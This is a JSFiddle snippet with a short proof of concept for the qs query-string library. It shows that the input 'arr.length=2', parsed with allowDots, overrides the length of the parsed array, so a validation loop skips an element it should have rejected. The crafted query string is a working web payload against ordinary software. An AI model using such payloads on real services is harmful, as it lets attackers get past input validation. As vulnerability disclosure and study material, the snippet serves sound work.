JSFiddle - React, Tailwind, and code Playground

HTML

<script src="https://cdnjs.cloudflare.com/ajax/libs/qs/6.10.1/qs.js"></script>

JavaScript

// the PoC functionality checks parsed array (composed from arguments in Qs.parse) for validity.

//we inject .length=2 value to the query
const parsed = Qs.parse("arr=a&arr=b&arr=c&arr.length=2", {allowDots: true});

// we only accept arrays, that are equal to "validValues"
const validValues = ["a", "b"];

let valid = true;

// we check the parsed array for validity by comparing elements. 
// Note, that i < array length, which is injected (2 instead of 3)
for(let i = 0; i < parsed.arr.length; i++) {
  if (!validValues.includes(parsed.arr[i])) {
    valid = false;
    break;
  }
}
// the check did not see "c" element, because it was out of range, injected by us. So the array bypassed the validity check.
console.log(parsed.arr, valid);